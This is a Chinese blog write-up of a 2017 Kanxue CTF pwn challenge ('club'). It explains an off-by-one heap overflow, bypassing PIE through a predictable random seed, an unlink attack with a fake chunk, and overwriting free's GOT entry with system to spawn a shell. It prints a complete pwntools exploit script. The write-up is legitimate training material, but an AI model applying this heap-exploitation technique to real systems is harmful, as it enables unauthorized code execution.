• off-by-one&doublefree. 看雪10月ctf2017 TSRC 第四题赛后学习


    off-by-one

    0x00 发现漏洞

    1.off-by-one

    在massage函数中,如图所示,可以修改的字节数比原内存大小多了一个字节

    2.悬挂指针

    可以看到,在free堆块的时候,没有清空指针,造成悬挂指针

    0x01漏洞利用

    1.绕过PIE

    在函数guess_box中让我们猜测随机数的值,随机数种子是seed的地址的后8位字节

    由于随机数并不是真正的随机,随机数的产生是有规律的,在两个不同的环境下同样的种子每次产生的随机数都是相同的。由此我们可以进行爆破,从而得到seed的地址,进一步绕过PIE.

    2.unlink

    首先创建两个堆块,大小分别是0x108,0x120。当一个 chunk 处于使用状态时, 它的下一个 chunk 的 prev_size域肯定是无效的。所以实际上,这个空间也可以被当前 chunk 使用。 在这里的意思就是说0x108这个堆块占用了0x120堆块的prev_size域,继续往下就是0x120堆块的size域了,而我们此时恰好可以继续往下写一个字节,这个字节可以覆盖0x120 size域的NP值,我们只需要P值被改变就行。下图是创建两个堆块之后的堆内存状态。

    然后我们修改第二块内存。

    base = 程序基址
    p64(0)
    +p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'x30'

     为了绕过unlink检查,构造了一个伪造的chunk。现在堆内存如下图。

    3.getshell

    因为给了libc。所以只要直接leak got来获取libc位置。再将free改成system来free一块保存/bin/sh的chunk就可以获得shell。exp如下。
    from pwn import *
    import ctypes
     
    context.log_level = 'debug'
    so = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF('./libc.so.6')
     
    t = process('./club')
    # t = remote('123.206.22.95', 8888)
     
    def guess(num = 12345):
        t.recvuntil('> ')
        t.sendline('5')
        t.recvuntil('> ')
        t.sendline(str(num))
        t.recvuntil('Wr0ng answer!The number is ')
        num = t.recvuntil('!')
        return int(num[:-1])
     
    def get_base(num):
        t.recvuntil('> ')
        t.sendline('5')
        t.recvuntil('> ')
        t.sendline(str(num))
        t.recvuntil('G00dj0b!You get a secret: ')
        num = t.recvuntil('!')
        return int(num[:-1])
     
    def guess_seed(num):
        for i in xrange(0x100000,0,-1):
            i = i<<12
            i += 0x148
            so.srand(i)
            j = 0
            while j < 30:
                j += 1
                a = so.rand()
                if a == num[j-1]:
                    continue
                break
            if j == 30:
                return so.rand()
        print 'aaa'
        print i
        return 0
    def add(choose, size):
        t.recvuntil('> ')
        t.sendline("1")
        t.recvuntil('> ')
        t.sendline(str(choose))
        t.recvuntil('> ')
        t.sendline(str(size))
     
    def edit(choose, payload):
        t.recvuntil('> ')
        t.sendline("3")
        t.recvuntil('> ')
        t.sendline(str(choose))
        t.send(payload)
     
    def free(choose):
        t.recvuntil('> ')
        t.sendline("2")
        t.recvuntil('> ')
        t.sendline(str(choose))
         
             
    num_table = []
    for i in range(30):
        num_table.append(guess())
     
    print num_table
     
    r = guess_seed(num_table)
     
    num = get_base(r)
    base = num - 0x0000000000202148
    print hex(base)
     
    
    add(1, 0x108)
    add(2, 0x120)
    
    edit(1, p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'x30')
    raw_input()
    free(2)
     
    edit(1,p64(base + 0x0000000000202018)+p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018)+'
    ')
     
    print 'aaaaaaaaa'
     
     
    t.recvuntil('> ')
    t.sendline("4")
    t.recvuntil('> ')
    t.sendline("1")
     
    a = t.recvline()[:-1]
    a = a.ljust(8,'x00')
    free_a = u64(a)
    print hex(free_a)
    libc = free_a - elf.symbols['free']
    system = libc + elf.symbols['system']
    edit(1, p64(system)+'
    ')
    add(3, 0x138)
    edit(3, '/bin/shx00
    ')
     
    free(3)
    t.interactive()
    View Code
  • 相关阅读:
    Python实现网络多人聊天室
    C实现string字符串
    C getchar()
    C++ 数组遍历的两种方式
    Java 发红包
    Java递归实现阶乘
    Go defer语句
    bash shell——sum
    C——letterCounter
    数据结构——链队列(linked queue)
  • 原文地址:https://www.cnblogs.com/elvirangel/p/7773843.html
Copyright © 2020-2023  润新知